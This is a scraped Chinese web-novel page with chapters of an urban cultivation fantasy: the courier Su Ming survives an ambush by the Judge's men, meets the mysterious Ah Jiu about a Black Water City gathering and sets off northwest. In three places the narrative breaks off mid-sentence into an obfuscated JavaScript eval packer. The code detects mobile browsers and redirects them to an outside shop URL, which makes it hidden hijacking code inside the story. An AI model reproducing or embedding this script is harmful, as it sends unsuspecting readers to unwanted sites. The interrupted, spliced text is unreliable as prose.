他助跑几步,脚下《踏云步》轻点,身体拔高,手在墙头一搭,翻了过去,落地滚入一堆废旧轮胎后面,整套动作行云流水,没发出一点声音。 院子里很静,只有远处马路隐约的车声。高瘦男人还站在平房门口,背对着这边,似乎在玩手机。 车库门半开着,里面没开灯,黑漆漆的。 苏明屏住呼吸,从轮胎后探出半个头,目光锁定了车库。他能感觉到,车库里那股阴冷的煞气,比刚才更清晰了。矮壮男人在里面,而且,似乎只有他一人。 他悄悄起身,猫着腰,利用院子里堆放的木箱和机器做掩护,一点点向车库靠近。距离拉近到二十米,十米,五米…… 就在他准备冲进车库的瞬间,平房门口的高瘦男人突然放下手机,猛地转头,看向苏明藏身的方向!他脸上带着一个怪异的、似笑非笑的表情,右手抬起,手指间似乎夹着什么东西,在昏黄灯光下反射出一点金属冷光。 “等你很久了,小快递员。”高瘦男人的声音嘶哑,在寂静的院子里格外清晰。 与此同时,半开的车库门后,阴影蠕动,矮壮男人狞笑着走了出来,手里握着一把寒光闪闪的□□。不止他一个,他身后,又缓缓走出两个人影,一个干瘦如猴,眼神阴鸷,另一个身材中等,手里拎着一根前端焊着铁刺的钢管。 四个人。除了高瘦和矮壮,还有两个埋伏在车库里!而且,高瘦男人显然早就察觉了他的靠近! 中计了!这是个陷阱!对方故意示弱,引他进来! 苏明心中一沉,但脸上毫无表情。他缓缓从藏身的木箱后站直身体,目光扫过呈半圆形围上来的四人。 “判官派你们来的?”苏明开口,声音平静。 “判官大人对你很感兴趣。”高瘦男人咧了咧嘴,露出一口黄牙,“特意让我们兄弟几个,好好‘招待’你。放心,不会让你死得太快。” 话音未落,矮壮男人第一个动了!他怒吼一声,手中□□带着破风之声,猛劈向苏明面门!刀势沉猛,煞气逼人! 与此同时,那个干瘦如猴的男人身形一晃,竟如同没有骨头般,贴着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356240|199679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地面窜向苏明下盘,手中寒光一闪,是两把淬毒的匕首!而那个拎钢管的男人则从侧面包抄,钢管横扫,封住苏明退路! 只有高瘦男人还站在原地,手指间那点金属冷光微微闪烁,似乎在准备着什么。 四人配合默契,出手狠辣,瞬间封死了苏明所有闪避空间! 绝境! 苏明眼中厉色暴涨!不退反进,脚下《踏云步》全力爆发,身体如同鬼魅般向前一撞,竟是迎着矮壮男人的□□冲去!在刀锋及体的刹那,他身体不可思议地向侧方一扭,刀锋擦着胸前衣服划过,带起一道裂口! 同时,他左手早已扣住的一张“火煞符”,猛地拍向从下盘袭来的干瘦男人面门! “疾!” 赤红火光炸开!干瘦男人没想到苏明在避让刀锋的同时还能反击,尖叫一声,仓促间向后翻滚,但还是被火焰燎中了头发和肩膀,发出焦臭味。 而苏明的右手,并指如剑,指尖金芒凝聚,一记“金光爪”,狠狠抓向侧面横扫而来的钢管! “铛!” 金铁交鸣!灌注灵力的手指与钢管硬碰硬,竟发出金属撞击声!苏明手指发麻,但钢管也被他这一爪荡开少许! 趁此间隙,他身形再动,脱离了三人合围的中心,拉开了几步距离,背靠着一个巨大的铁质货箱,微微喘息。 一个照面,险之又险,但没受伤,还逼退了一人。 高瘦男人眼中闪过一丝惊讶,随即化为更浓的杀意:“果然有点本事。可惜,今天你走不了。” 他手指间那点金属冷光,终于亮了起来——那是一枚巴掌大小、造型诡异、像是某种昆虫口器的黑色飞镖,镖身刻满血红色符文,散发着令人心悸的邪恶波动。 “去!”高瘦男人一甩手,黑色飞镖化作一道乌光,无声无息,却快如闪电,直射苏明咽喉! 苏明瞳孔骤缩!他能感觉到,这飞镖上凝聚着极强的阴毒煞气,绝非普通暗器!不能硬接! 他脚下猛地一蹬货箱,身体向侧后方急退!但飞镖仿佛有灵性,在空中划了个弧线,紧追不舍! 眼看避无可避,苏明一咬牙,从腰包抓出那个青铜“镇魂铃”,灵力疯狂注入,对着飞镖方向,狠狠一摇! “叮——!!!” 比以往任何一次都要剧烈的镇魂波动轰然爆发!空气仿佛都扭曲了一下!那急射而来的黑色飞镖,被这专门克制阴邪灵体的波动一扫,顿时发出一声凄厉的尖啸,符文光芒乱闪,轨迹一偏,“夺”的一声,深深扎进了苏明身旁的货箱铁皮里,入木三分,尾部嗡嗡颤抖。 苏明也被镇魂铃的反震之力震得气血翻腾,耳中嗡嗡作响。但他顾不上这些,因为矮壮男人和拎钢管男人已经再次扑上!干瘦男人也捂着烧伤的肩膀,眼神怨毒地盯了过来。 高瘦男人见飞镖被破,脸色一沉,双手快速结印,口中念念有词,一股更阴冷的气息开始在他身上凝聚。 不能再拖了!必须速战速决,先解决最有威胁的高瘦男人! 苏明眼神一狠,无视了正面扑来的矮壮男人,脚下《踏云步》催动到极致,身形带起一串残影,竟是朝着正在施法的高瘦男人直冲过去!同时,他右手掌心赤红光芒疯狂压缩,一颗只有乒乓球大小、但颜色几乎变成暗红色、散发出恐怖高温的“炎弹”瞬间成型! “拦住他!”矮壮男人怒吼,挥刀拦截。 拎钢管男人也从侧面砸来。 苏明不闪不避,对矮壮男人劈来的刀视若无睹,只是微微侧身,让刀锋划过左臂,带起一蓬血花!剧痛传来,但他眼神都没眨一下,全部心神都锁定了高瘦男人,将那颗压缩到极致的暗红炎弹,用尽全身力气,狠狠掷出! “给老子——爆!” 炎弹脱手,发出尖锐的呼啸,速度比之前快了数倍,在空中拉出一道赤红尾迹,直轰高瘦男人面门! 高瘦男人正在结印的关键时刻,没想到苏明如此悍不畏死,硬挨一刀也要攻击他!眼看那散发着毁灭气息的炎弹袭来,他眼中终于露出骇然,强行中断施法,向旁边扑倒! “轰隆——!!!” 暗红炎弹在距离高瘦男人不到半米的地方轰然爆炸!比之前任何一次都要猛烈的火焰和冲击波瞬间吞没了那片区域!高瘦男人惨叫一声,被炸得横飞出去,撞在后面的平房墙壁上,墙壁都裂开几道缝,他浑身焦黑,冒着青烟,生死不知。 爆炸的气浪也掀翻了冲过来的矮壮男人和拎钢管男人。苏明自己也被气浪推得踉跄后退,左臂伤口鲜血直流,耳朵里全是轰鸣。 但他站稳的瞬间,冰冷的目光已经锁定了摔倒在地、挣扎着想爬起来的矮壮男人。 趁你病,要你命! 苏明脚下发力,忍着左臂剧痛,再次前冲!矮壮男人刚爬起来,就看到苏明如同杀神般冲到面前,手中不知何时又多了一张“火煞符”,狠狠拍向他的胸口! “不——!”矮壮男人惊恐大叫,举刀格挡。 “噗!” 火煞符在他胸前炸开,火焰瞬间吞噬了他上半身!他发出凄厉无比的惨嚎,在地上疯狂打滚。 拎钢管男人看到这一幕,吓得魂飞魄散,转身就想跑。那个干瘦男人也早已胆寒,捂着肩膀就往车库阴影里钻。 苏明没去追。他喘着粗气,左臂火辣辣地疼,灵力消耗大半,耳朵还在鸣响。他快速扫视战场:高瘦男人瘫在墙根不动了,矮壮男人被火焰包裹惨嚎,干瘦男人和拎钢管男人逃了。 他走到矮壮男人身边,后者已经被烧得面目全非,奄一息。苏明蹲下,忍着焦臭味,快速在他身上摸索。摸到一个硬物,掏出来,是另一个鬼首金属牌,背面编号是“戊三六”。又摸到一个老式按键手机。 他收起牌子和手机,又走到高瘦男人身边。男人还有一丝气,但出气多进气少,胸口塌陷,焦黑一片。苏明在他身上也摸出一块鬼首牌,编号“丁二一”,还有一个看起来更高级的智能手机,设有密码。 苏明没时间破解,把手机也收了。他看了一眼漆黑的平房和车库,不确定里面还有没有人。不能久留。 他转身,朝着围墙方向跑去。翻墙时,左臂伤口被扯到,疼得他倒吸一口凉气。落地后,他毫不停留,钻进复杂的货堆和巷道,很快消失在物流园区的黑暗之中。 十几分钟后,远处才隐约传来警笛声。 苏明靠在一处废弃厂房的阴影里,撕下一条内衣布料,咬牙草草包扎了左臂的伤口。血暂时止住了,但疼痛一阵阵袭来。他摸出一颗“益气丹”吞下,又拿出一张“清心符”贴在额头,清凉气息涌入,略微缓解了耳鸣和眩晕。 他拿出那两部手机。老式按键手机里只有几个号码,没有备注。智能手机有密码。他把手机卡都拔出来折断,手机本身塞进背包深处。 然后,他拿出那两块还带着体温和焦糊味的鬼首牌。 丁二一,戊三六。两个编号。加上之前从矮壮男人“老四”身上得到的“戊三七”,还有那个被阿九干掉的可能也是成员的“穿山甲”……“判官”手下的行动小组,似乎是以“天干地支加数字”来编号的。 “丁”组和“戊”组?丁组似乎级别更高?那个高瘦男人是“丁二一”,可能就是这个小队的头目。 苏明把牌子收好,靠着冰冷的墙壁,缓缓坐下。夜风吹过,带着凉意。左臂的疼,身上的疲惫,劫后余生的虚脱感,一起涌上来。 但他心里,却有一股火在烧。 判官,影流会。 你们要玩,我奉陪。 他休息了几分钟,感觉恢复了些力气,才站起身,辨认了一下方向,朝着城南安全屋的位置,蹒跚走去。 夜色浓重,将他疲惫却挺直的背影,渐渐吞没。 而在物流园“鑫发货运”的废墟上,火势已被扑灭,警灯闪烁。没人注意到,远处一栋更高的水塔顶上,一个穿着深灰色运动服、身形纤细的身影,静静立在那里,看着下方的一切。 是阿九。 她手里把玩着那枚从“伏藏”唐卡中取出的“路引”,目光却落在苏明消失的方向,嘴角微微勾起一个难以捉摸的弧度。 “有意思……”她低声自语,声音消散在夜风里。 然后,她转身,如同真正的夜鸟,无声滑入黑暗,消失不见。 夜,还很长。 33. 余波与“黑水城集会” 左臂疼得像有把钝锯子在骨头上来回拉。苏明咬着牙,用没受伤的右手撑着墙,一步步挪向城南安全屋。每一步都牵扯着伤口,冷汗混着灰尘,在脸上冲出一道道沟壑。 夜风呜咽,吹过空荡荡的街巷。他不敢走大路,专挑最黑、最绕的小道。脑子里的弦还绷着,耳朵竖得老高,听身后的动静。那辆黑色越野车,逃跑的两个人,还有物流园冲天的火光和警笛……像场不真实的噩梦。 但手里攥着的那两块还带着焦糊味的鬼首牌,硌得掌心生疼,提醒他一切都是真的。 “仙尊,”他在心里哑着嗓子问,“刚才那爆炸……不会把警察引到我这儿吧?” 凌虚子的元婴光团似乎也黯淡了些,声音带着疲惫后的凝肃:“凡俗官差,循常理查案,追踪痕迹,确有可能。然你已易容改扮,又无目击,且现场火势凶猛,痕迹湮灭大半,短期或可无虞。唯那逃脱二人,及幕后‘判官’,方是心腹之患。你之住处,恐不可再回。” 是啊,安全屋也不安全了。对方既然能在物流园设伏,就可能摸到李寰宇的安全屋网络。他得再挪窝。 终于看到槐安里小区那棵老槐树的轮廓时,苏明几乎脱力。他踉跄着走到小二层门口,手指哆嗦着输入密码。门开了一条缝,他闪身进去,反手锁死,背靠着冰凉的门板,滑坐在地上,大口喘气。 安全屋里静悄悄的,只有他粗重的呼吸声。昏黄的灯光下,灰尘在空气里慢慢飘。 休息了几分钟,苏明挣扎着爬起来,先冲到一楼那个隐藏保险柜前,打开,看到星髓和法印还在,才松了口气。他拿出那三支“初级细胞活化剂”,犹豫了一下,没舍得用。这玩意儿是关键时刻保命或者强化用的,现在只是外伤加脱力,浪费。 他走到简陋的卫生间,拧开水龙头,冰冷的水冲在脸上,让他打了个激灵,脑子清醒了些。他对着裂了条缝的镜子,龇牙咧嘴地处理左臂的伤口。 刀口很深,皮肉翻卷,还在渗血。幸好没伤到骨头和主要血管。他翻出屋里备的急救包(李寰宇这边准备得挺周全),用酒精棉球消毒。刺痛让他眼前发黑,闷哼一声,额头抵在冰凉的瓷砖上缓了半天。然后撒上止血粉,用无菌纱布和绷带,一层层缠紧,最后打了个结实的结。 处理完伤口,他才觉得全身的力气都被抽干了。拖着脚步回到客厅,倒在旧沙发上,连手指都不想动。 但不能睡。他强撑着坐起来,拿出那两部手机和两块鬼首牌,摆在油腻的茶几上。 老式按键手机,他开机。屏幕亮起蓝光,电量还剩一半。通讯录里只有五个号码,没存名字,都是11位数字。最近通话记录是空的。短信箱里有几条,点开,都是乱码一样的数字和符号组合,像是某种简单的密码。 智能手机有锁屏密码,六位数。苏明试了“123456”、“000000”、“111111”,都不对。他没再试,怕触发锁死或报警。把手机卡拔了,手机本身和那部老式手机一起,塞进背包最底层。 然后拿起那两块鬼首牌。入手冰凉,沉甸甸的。“丁二一”、“戊三六”。他之前得到的矮壮男人“老四”那块是“戊三七”。看来“戊”字头的可能是普通行动人员,“丁”字头的像是小头目。高瘦男人是“丁二一”。 他把三块牌子放在一起。在“灵目术”的微弱感应下,牌子之间似乎有极其淡的、同源的能量联系,但很微弱,不靠近几乎察觉不到。吴清风的朋友说,这种牌子成对或成套,可能有感应。如果“判官”能通过牌子监控手下,那“丁二一”和“戊三六”的牌子失效,他会不会知道? 苏明心里一紧。有可能。甚至,对方可能已经通过某种方式,定位到了牌子最后失效的大致区域——城北物流园。虽然那里现在一片混乱,但“判官”只要有点脑子,肯定会把这事和他联系起来。 他得尽快离开这个城市,至少暂时避避风头。 可去哪?李寰宇那边的安全屋网络恐怕被渗透了。回老家?不行,不能把麻烦带回去。找个陌生城市先猫着? 苏明正头疼,手机突然震动了一下。不是电话,是一条来自陌生号码的加密短信,内容很短: “明早九点,西郊‘忘尘’茶舍,竹韵阁。一个人来。带‘路引’。谈笔交易。——阿九” 阿九?她怎么有自己这个号码?苏明一愣,随即释然。这个女人神秘莫测,能搞到他的联系方式不奇怪。而且,她用的是“路引”,说明她认定了自己手上有从唐卡里取出的那张图。 她这个时候找自己,想谈什么交易?关于黑水城?还是关于“判官”? 苏明盯着短信,手指在屏幕上悬停。去,还是不去? 阿九是敌是友,还不清楚。但至少目前来看,她没有直接对他表现出敌意,还提供过关于“判官”的警告。而且,她似乎对黑水城非常了解,手上可能有不少有价值的信息。 风险很大,但机遇也可能很大。他现在对“判官”和“影流会”的了解太少,急需信息。阿九可能是个突破口。 “仙尊,你觉得呢?”苏明在心里问。 “此女修为不明,行踪诡秘,目的难测。然其两次出现,皆与黑水城关联,且似对你无必杀之心。此次约见,或为打探,或为利用,亦或有合作之机。”凌虚子分析道,“你可赴约,但需万分谨慎,做好脱身准备。那‘路引’可带,但需确保其无法强夺。” 苏明点头。他决定去。但不是毫无准备地去。 他先回复短信:“可以。只谈交易,不动手。” 然后,他忍着左臂的疼痛,开始做准备。把星髓、法印、活化剂、剩下的符箓、现金、权限卡,重新检查打包。绘制了几张新的“神行符”和“金光护身符”,虽然质量一般,但聊胜于无。又把“镇魂铃”和“破妄符”放在最方便取用的位置。 最后,他拿出那张从唐卡里取出的、非帛非纸的“路引”,在灯下仔细看。暗黄色的底子上,用暗红色的、像是干涸血迹的颜料,画着扭曲的路线和几个奇异的符号。路线蜿蜒,指向一片山峦,中心有个模糊的标记。符号他不认识,但透着古老和诡异。 他小心地将“路引”拍照,各个角度,高清。然后把原件用防水袋封好,贴身放着。照片存在手机加密相册,云端也备份了一份。万一出事,原件丢了,至少还有信息。 做完这些,天边已经泛起了鱼肚白。他毫无睡意,左臂伤口一跳一跳地疼。他干脆盘坐在沙发上,运转功法,吸收聚灵阵(简陋版)汇聚的微薄灵气,缓慢恢复消耗的精力,同时也在脑海中反复推演明天可能遇到的情况,以及应对方案。 早上七点,他换了身干净但普通的衣服,用帽子稍微遮挡了一下疲惫的脸色。左臂的伤用宽松的外套遮住。背上背包,最后检查了一遍安全屋,抹掉自己留下的明显痕迹,然后锁门离开。 他没叫车,步行了二十多分钟,在一个公交站坐上了一趟早班车,绕了几站,又换乘另一趟,最后在距离“忘尘”茶舍还有两公里的地方下车,步行前往。一路上,他不断观察身后和周围,确认没有尾巴。 “忘尘”茶舍在西郊一个挺偏僻的园林式度假村里面,环境清幽,这个点几乎没人。苏明按照指示,找到“竹韵阁”,是一个独立的、被竹林半包围的小包间。 他站在门口,深吸一口气,将“敛息术”运转到极致,然后推门而入。 包间里燃着淡淡的檀香,临窗的茶桌旁,阿九已经坐在那里。她今天没穿那身时髦衣服,换了一身深灰色的运动装,头发扎成利落的马尾,素面朝天,看起来像个晨练的大学生。但那双眼睛,依旧平静无波,深不见底。 桌上摆着一套紫砂茶具,水已经烧开,咕嘟咕嘟冒着热气。 “坐。”阿九抬了抬下巴,示意对面的位置,然后自顾自地开始烫杯、洗茶、冲泡。动作行云流水,带着一种奇特的韵律感。 苏明在她对面坐下,没动茶杯,目光平静地看着她。 阿九也不在意,泡好茶,给自己倒了一杯,慢悠悠地品了一口,才抬眼看苏明:“受伤了?左臂。” “小伤。”苏明语气平淡。 “昨天城北物流园的动静,是你弄出来的?”阿九问得很直接。 “你不是都知道吗?”苏明不答反问,“不然怎么找到我的?” 阿九嘴角似乎弯了一下,很浅:“有只夜猫子昨晚睡不着,到处溜达,恰好看到点热闹。”她放下茶杯,手指在桌面轻轻敲了敲,“‘丁二一’和‘戊三六’的牌子,在你手上吧?” 苏明眼神微凝。她果然知道,而且知道得很清楚。“是又怎样?” “不怎样。‘判官’手底下丁字组和戊字组的人,折了三个在你手里,他该肉疼了。”阿九语气没什么起伏,像在说今天天气不错,“不过,你也把他彻底惹毛了。接下来,他派来的人,恐怕就不是戊字组这种杂鱼了。” “你来,就是为了告诉我这个?”苏明问。 “当然不是。”阿九身体微微前倾,盯着苏明,“我是来跟你做交易的。用‘路引’,换一个机会,和一个消息。” “什么机会?什么消息?” “进入‘黑水城裂隙外围探索集会’的机会。”阿九缓缓道,“下个月十五,月圆之夜,在西北边境的‘黑石镇’,会有一场秘密集会。召集者是几个对黑水城有兴趣的势力,包括一些散修、探险家、寻宝客,还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我有我的渠道。”阿九没有解释,“消息来源可靠。而且,‘判官’本人,很可能也会去。他一直在搜集与黑水城相关的东西,这次集会,他不会错过。” “判官”也会去?苏明眼神一冷。这倒是个机会,也许能趁机多了解这个神秘的对手。 “好,我同意合作。”苏明做出决定,“‘路引’可以共享,一起进入集会。但进去之后,如何行动,需事先约定。而且,你得先告诉我,关于‘判官’和这次集会,你知道的所有事情。” “可以。”阿九爽快点头,“‘判官’,是‘影流会’‘幽冥道’一支在东亚区域的几个‘行走’之一,负责搜集特定资源、处理‘特殊事务’。修为应该在筑基中期左右,精于咒术、驭鬼、炼制阴毒法器,为人谨慎狠辣,行踪不定。这次他派丁字组和戊字组在本市活动,目标包括天师法印、那面铜镜、古卷轴,可能还有其他的。集会的事,是‘影流会’内部一位和我有点交情的线人透露的,地点在黑石镇一家叫‘风沙渡’的旅店,时间下月十五,子时。凭信物或‘路引’碎片进入。集会后,大约三天内,各队伍会分批进入裂隙外围区域。里面什么情况,没人知道,每次进去能活着出来的人,不到三成。” 不到三成死亡率!苏明吸了口凉气。果然是九死一生。 “为什么找我合作?你自己有‘路引’,应该也能找到人组队。”苏明问出最后一个疑惑。 “因为我看你顺眼。”阿九的回答让苏明一愣,“而且,你够狠,够果断,运气似乎也不错。最关键的是,你身上没有那些大势力的腌臜味儿,干净。在黑水城那种地方,一个相对干净的队友,比一个心思叵测的高手,有时候更有用。” 这个理由……苏明不知道该说什么。 “好了,交易达成。”阿九站起身,“下个月十号,我们在黑石镇‘风沙渡’碰头。之前这段时间,你最好消失,别再招惹‘判官’的人。如果被发现了,自己解决,别连累我。”她说完,走到窗边,推开窗户,回头看了苏明一眼,“茶钱我付了。保重。” 然后,她翻身而出,身影在竹林中一闪,消失不见。 苏明坐在原地,看着对面那杯已经凉透的茶,半晌没动。 黑水城集会,下月十五,西北边境,黑石镇。 “判官”会去,各方势力汇聚,九死一生。 但他没有退路。 他拿起背包,也起身离开。走出茶舍,清晨的阳光有些刺眼。他眯了眯眼,看着街上逐渐多起来的行人和车辆。 平凡的世界,离他越来越远了。 但他知道,自己选的路,跪着也要走完。 他拉了拉帽子,遮住脸,朝着与来时相反的方向,大步走去。 新的征程,开始了。而更猛烈的风暴,正在遥远的西北边境,悄然酝酿。 34. 赴约 接下来的几天,苏明过得像个真正的隐形人。 他用李寰宇给的权限卡,在系统里又申请了一个临时的、更偏远的备用安全屋,地点在城东南一片等待拆迁的棚户区边缘,独门独院,破败得连流浪汉都不愿光顾。好处是绝对不起眼,而且四通八达,随时能溜。 他没再登录同城速递APP接单,甚至没怎么出门。左手刀伤比想象中麻烦,愈合得慢,一动就疼。他每天除了必要的进食和休息,大部分时间都窝在安全屋里,一边运转功法疗伤,一边疯狂绘制符箓。 “益气丹”已经吃完,灵力恢复主要靠聚灵阵和那点微薄的天地灵气,进度缓慢。但绘制符箓的过程,本身就是对灵力操控的极致锻炼,也能让心神沉静下来。 “金光护身符”成了他练习的重点。这玩意儿关键时刻能保命,多一张就多一分底气。几天下来,他攒了七张下品护身符,成功率勉强过了五成。另外还成了三张“神行符”,五张“清心符”,甚至试着画了两张复杂些的“破甲符”(专破防护),都失败了,浪费了不少材料。 “炎弹术”也没放下。他不再追求大火球,而是尝试将火焰压缩得更小、更凝练,减少施法前摇和灵力外泄。现在他能在一秒内弹出指头大小、颜色深红的炎弹,威力集中,偷袭效果应该不错。 星髓每天被他贴身放着,借助其温和的星力滋养经脉,伤势恢复速度确实快了些。天师法印上的“秽血封灵纹”依旧顽固,但用星力长期浸润,那些暗红色纹路的边缘,似乎真的淡了那么一丝丝,几乎难以察觉。 阿九给的那个智能手机,苏明没敢开机,也没尝试破解。他找了个铁皮饼干盒,把手机、那几块鬼首牌、还有之前从“鼹鼠”那里得来的仪器箱,一起用锡纸裹了好几层,又塞进一个装猫砂的密封桶,埋在了安全屋院子的角落里。不确定能不能完全屏蔽可能的追踪,但求个心安。 日子一天天过去,左臂伤口终于结了层暗红色的痂,动作大了还是会疼,但基本不影响活动。距离下月十五,还有不到二十天。 苏明开始准备远行。 西北边境,黑石镇。他查了查,在邻省最西边,挨着戈壁沙漠,是个以采矿和边境贸易支撑的小镇,环境恶劣,人员复杂。从他现在所在的城市过去,直线距离超过两千公里,没有直达的火车或飞机,需要先坐长途汽车到省城,再转车,路上顺利也要三四天。 他需要一个新的身份,一套不起眼但适合长途跋涉的行头,足够的现金,以及应对各种突发状况的准备。 身份好办。李寰宇给的权限卡附带一定程度的“身份包装”服务,虽然不能无中生有,但可以生成几个干净的、经得起一般查验的“马甲”。苏明选了一个叫“周明”的假身份,背景设定是去西北收药材的跑单帮小贩,年龄、籍贯、工作经历都简单合理。 行头他在旧货市场淘的:几套耐磨的深色户外衣裤,结实的登山靴,一个半旧的、能装不少东西的大号登山包,还有顶能遮住半张脸的宽檐帽。看起来就是个普通的风尘仆仆的旅人。 现金他手头还有三十多万,留了几万备用,其余换成便于携带的金条和小面额美钞,用防水袋分几处藏好。 符箓是重中之重。七张“金光护身符”,三张“神行符”,五张“清心符”,还有之前剩的三张“火煞符”,以及他自己画的十几张效果不一的试验品,都被仔细分类,用特制的隔灵材料包好,分放在背包和贴身的不同位置。那枚“镇魂铃”和“破妄符”放在最容易拿到的地方。 星髓和天师法印,他犹豫再三,决定都带上。星髓是修炼和关键时刻补充灵力的根本,不能离身。法印虽然目前用不了,但毕竟是“钥匙”,万一在黑水城用得上。他把法印重新用檀木盒装好,外面又裹了几层隔绝气息的符纸,塞在背包最底层。 “初级细胞活化剂”剩两支,关键时刻能救命,贴身放着。 最后,他花贡献点从李寰宇那边兑换了一把合金匕首(非管制),一套多功能工具,一个高性能的太阳能充电宝,还有几份压缩干粮和高能量食品。又买了些常用的药品、净水片、防风打火机等野外生存物品。 一切准备停当,离约定出发的日子还有三天。 苏明最后一次检查了安全屋,抹去自己生活过的痕迹。然后,在一个天色未亮的清晨,他背上沉重的登山包,戴上帽子,悄然离开了这个临时避难所,融入了城市最早苏醒的人流。 他没有直接去长途汽车站,而是先坐公交,又换地铁,最后在一个物流园区附近下车,混在一群等活的临时工里,观察了很久,才走向售票点,用“周明”的身份证,买了一张最早出发、前往西北方向省城的长途卧铺汽车票。 车子破旧,气味混杂,乘客形形色色,有打工回家的,有做小生意的,也有像他一样看不出具体目的的。苏明找到自己的铺位,是最后一排的上铺,位置高,靠窗,视野好,也相对隐蔽。他把背包塞在枕头里面,身体靠上去,闭目养神,但耳朵始终竖着,听着车厢里的动静。 车子晃晃悠悠地启动了,驶出城市,上了高速。窗外熟悉的景色飞速后退,渐渐被旷野和远山取代。 苏明的心情有些复杂。这座城市,他生活了几年,送过无数快递,见过形形色色的人,也在这里偶然踏入了一个光怪陆离的世界。现在,他要暂时离开,去往一个更陌生、更危险的地方。 他不知道前路等待他的是什么。黑水城集会,各方势力,“判官”,阿九,还有那神秘的裂隙……每一步都可能踩进陷阱,或者直面死亡。 但他没有回头路。 他摸了摸左臂已经不太疼的伤疤,又感受了一下背包里星髓那稳定的脉动和符箓沉甸甸的分量。 怕吗?有点。但更多的是……一种难以言喻的兴奋和期待。就像每次点开那个特殊订单APP,不知道门后是惊喜还是惊吓一样。只不过,这次的门,更大,更深,也更危险。 车子在高速上平稳行驶。苏明调整了一下姿势,开始默默运转《玄天吐纳真解》。虽然车上灵气稀薄得可怜,但修炼已经成了习惯,也能让他更快静下心来。 旅途漫长,正好用来思考和准备。 黑水城……“幽冥道”的遗址……上古修士的传承……离开此界的线索…… 还有“判官”。那个藏身暗处,操控“盗影”小组,对他紧追不舍的对手。这次集会,或许能见到他的真面目。 苏明眼中闪过一丝冷光。 “仙尊,”他在心中默念,“关于黑水城,您还能想起什么吗?任何信息,哪怕只是传说。” 凌虚子沉默了片刻,似乎也在回忆遥远的过去:“本座对‘黑水’之名,确有些印象。上古之时,曾有数条贯通阴阳、连接幽冥与凡尘的‘冥河支流’,其中一条,似被称为‘黑水’。其水色玄黑,沉重如汞,可蚀魂销骨。有邪道修士,常于其畔建立洞府,利用冥河阴气修炼歹毒功法,或举行血祭,沟通幽冥。‘幽冥道’之名,或源于此。若此城真与‘黑水’、‘幽冥道’有关,其地必充斥阴煞死气,寻常生灵难以久存,且恐有阴魂、尸傀、或其他幽冥邪物盘踞。你需备好至阳至刚之物护身。” 阴煞死气,阴魂尸傀……苏明记下。看来得多准备些“火煞符”和“镇魂铃”这类克制阴邪的东西。至阳至刚之物,烈阳丹算,但只剩一颗。地火精粹石偏向火煞,不知有没有用。 “另外,”凌虚子又道,“若真有‘裂隙’,其内空间恐不稳定,或有空间乱流、时空碎片。你需谨守心神,莫要被幻象所迷,亦不可轻易触碰不明之物。你那‘破妄符’,或可一用。” 空间乱流,时空碎片……苏明听得头皮发麻。这黑水城,简直是个全方位无死角的险地。 但越是危险,可能意味着机遇越大。 他不再多想,收敛心神,专注于修炼和恢复。接下来的路还长,他必须保持最佳状态。 长途汽车在高速上跑了整整一天,傍晚时分在一个路边服务区停下休息。乘客们纷纷下车透气、上厕所、买吃的。 苏明也下了车,活动了一下有些僵硬的身体。他买了两个热乎的茶叶蛋和一瓶水,站在车旁,一边慢慢吃,一边不动声色地观察着周围。 服务区里车来人往,很是热闹。他注意到,有几辆同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356242|199679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样风尘仆仆、挂着不同省份车牌的长途车也停在这里。乘客中有穿着冲锋衣、背着专业登山包的男女,气质和普通旅客明显不同。还有几个独自一人、眼神锐利、步伐沉稳的男人,在角落里抽烟,低声交谈。 是去参加集会的?还是别的什么人? 苏明没有多看,吃完东西就回到了车上。他的铺位靠后,能看到前面大部分情况。他注意到,刚才在下面看到的那几个气质特殊的人,也陆续上了不同的车,或者上了几辆看起来更高级的越野车。 看来,通往西北的路上,并不只有他一个“特殊”的旅人。 夜色渐深,车子重新上路。大部分乘客都睡了,车厢里响起此起彼伏的鼾声。 苏明没有睡。他盘坐在铺位上,继续修炼,同时分出一缕心神,保持着对周围的警戒。 一夜无话。 第二天下午,车子抵达了西北方向的省城。苏明随着人流下车,走出嘈杂混乱的长途汽车站。省城的空气干燥,带着尘土的味道,天空是高远的湛蓝。 他需要在这里换乘另一趟长途车,前往更靠近边境的另一个城市。按照阿九给的信息,从那个城市,才有车能到达最终的目的地——黑石镇。 换乘的过程很顺利。他用“周明”的身份证又买了一张票,这次是更破旧的中巴车,乘客多是本地人和小商贩,车厢里弥漫着羊膻味和汗味。 车子驶出省城,道路开始变得崎岖,风景也从城镇农田逐渐变为荒凉的戈壁和光秃秃的山丘。人烟越来越稀少。 苏明靠在窗边,看着外面一成不变的、苍黄辽阔的景色,心中一片沉静。离开了熟悉的都市环境,反而让他有种挣脱束缚的感觉。在这里,规则似乎变得更简单,也更直接。 